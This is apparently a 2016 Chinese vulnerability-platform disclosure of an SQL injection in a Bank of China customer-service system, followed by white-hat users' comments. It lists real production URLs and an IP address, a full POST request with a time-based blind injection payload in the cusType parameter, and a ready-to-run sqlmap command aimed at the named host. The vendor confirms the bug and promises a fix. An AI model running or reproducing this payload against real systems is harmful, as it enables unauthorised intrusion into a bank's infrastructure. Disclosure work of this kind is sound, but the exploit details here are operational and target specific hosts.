中国银行某系统存在SQL注入漏洞

#1 影响服务器

https://219.141.191.165/IMRINFO/AT/ZIMComm

https://95566.boc.cn/IMRINFO/AT/ZIMComm

https://95566.boc.cn/ZIM/IMRINFO/AT/ZIMComm

#2 注入点,POST

action=ZING_MSG_SESSION_INFO&cusType=%E6%99%AE%E9%80%9A%E5%AE%A2%E6%88%B7' AND (SELECT * FROM (SELECT(SLEEP(5)))oLEQ) AND 'LNdX'='LNdX&MYD=%E6%9C%AA%E8%AF%84%E4%BB%B7&MYD2=%E6%9C%AA%E8%AF%84%E4%BB%B7&allSelMenuStr=%E4%B8%AA%E4%BA%BA%E9%87%91%E8%9E%8D%E4%B8%9A%E5%8A%A1#&BotTalkCount=0&solvePerd=0&businessPerd=0.829&queuePeriod=0&talkPeriod=0&cookie=&area=%E5%AE%81%E6%B3%A2&IMRBeginTime=1460637371131&inboundTime=1460637370974&ip=21.123.23.233&colineNo=22451770400000&coJid=22451770400000&BotBeginTime=1460637370974&businessType1=%E4%B8%AA%E4%BA%BA%E9%87%91%E8%9E%8D%E4%B8%9A%E5%8A%A1&endTime=1460637371803

注入参数：cusType

python sqlmap.py -u "https://219.141.191.165/IMRINFO/AT/ZIMComm" —data="action=ZING_MSG_SESSION_INFO&cusType=%E6%99%AE%E9%80%9A%E5%AE%A2%E6%88%B7*&MYD=%E6%9C%AA%E8%AF%84%E4%BB%B7&MYD2=%E6%9C%AA%E8%AF%84%E4%BB%B7&allSelMenuStr=%E4%B8%AA%E4%BA%BA%E9%87%91%E8%9E%8D%E4%B8%9A%E5%8A%A1#&BotTalkCount=0&solvePerd=0&businessPerd=0.829&queuePeriod=0&talkPeriod=0&cookie=&area=%E5%AE%81%E6%B3%A2&IMRBeginTime=1460637371131&inboundTime=1460637370974&ip=21.123.23.233&colineNo=22451770400000&coJid=22451770400000&BotBeginTime=1460637370974&businessType1=%E4%B8%AA%E4%BA%BA%E9%87%91%E8%9E%8D%E4%B8%9A%E5%8A%A1&endTime=1460637371803" —technique=T —dbms=mysql –time-sec=3

# 过滤

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2016-04-18 09:26

厂商回复：

感谢发现，尽快组织修复

最新状态：

暂无

1. 2016-04-15 14:39 | _Thorns ( 普通白帽子 | Rank:1754 漏洞数:269 | 以大多数人的努力程度之低，根本轮不到去拼...)

   2

   前排

   1# 回复此人

2. 2016-04-15 14:48 | D_in ( 普通白帽子 | Rank:423 漏洞数:65 | 到我嘴里来)

   1

   第二

   2# 回复此人

3. 2016-04-15 14:51 | SREAUDIO ( 实习白帽子 | Rank:42 漏洞数:13 | 努力学习，磨练技术)

   1

   有个洞一个星期没审核，前排求关注！

   3# 回复此人

4. 2016-04-15 15:09 | 木易 ( 普通白帽子 | Rank:347 漏洞数:70 | 不，，不要误会，我不是针对谁，我是说在座...)

   1

   3楼求关注

   4# 回复此人

5. 2016-04-15 15:17 | 猪猪侠的男朋友 ( 路人 | Rank:4 漏洞数:1 )

   2

   腻害(¬‿¬)可我只能六月份才看到

   5# 回复此人

6. 2016-04-15 15:24 | 白泽 ( 普通白帽子 | Rank:205 漏洞数:19 | 放假中。。。)

   1

   我猜在e.boc.cn

   6# 回复此人

7. 2016-04-15 15:24 | Fnut ( 普通白帽子 | Rank:112 漏洞数:28 | 大王叫我来巡山，巡完南山巡北山)

   1

   楼上这昵称。。。

   7# 回复此人

8. 2016-04-15 15:35 | 追寻 ( 普通白帽子 | Rank:210 漏洞数:46 | 学习新姿势中)

   1

   你关注的白帽子 猪猪侠 发表了漏洞 中国银行某系统存在SQL注入漏洞

   8# 回复此人

9. 2016-04-15 15:44 | prolog ( 普通白帽子 | Rank:944 漏洞数:197 )

   2

   @猪猪侠的男朋友 @猪猪侠的女朋友 @猪猪侠的前男友 @猪猪侠的前女友

   9# 回复此人

10. 2016-04-15 15:45 | SREAUDIO ( 实习白帽子 | Rank:42 漏洞数:13 | 努力学习，磨练技术)

    1

    @木易 我怀疑是不是被搁置到某个角落了--

    10# 回复此人

11. 2016-04-15 15:50 | 猪猪侠的男朋友 ( 路人 | Rank:4 漏洞数:1 )

    1

    @prolog ๏̯͡๏﴿

    11# 回复此人

12. 2016-04-15 16:10 | _Thorns ( 普通白帽子 | Rank:1754 漏洞数:269 | 以大多数人的努力程度之低，根本轮不到去拼...)

    1

    @白泽 银行专业户...

    12# 回复此人

13. 2016-04-15 16:30 | Vinc ( 普通白帽子 | Rank:383 漏洞数:58 | 提莫队长正在待命！)

    1

    @猪猪侠的男朋友 这ID真NB

    13# 回复此人

14. 2016-04-15 16:35 | loli ( 普通白帽子 | Rank:649 漏洞数:59 | 每个男人心中都住着一个叫小红的88号技师。)

    1

    某所要被吊打了

    14# 回复此人

15. 2016-04-15 16:55 | 疯子 ( 普通白帽子 | Rank:259 漏洞数:45 | 世人笑我太疯癫，我笑世人看不穿~)

    1

    某所干嘛的~

    15# 回复此人

16. 2016-04-15 16:56 | 猪猪侠 ( 核心白帽子 | Rank:5372 漏洞数:415 | 你都有那么多超级棒棒糖了，还要自由干吗？)

    1

    @白泽 不是

    16# 回复此人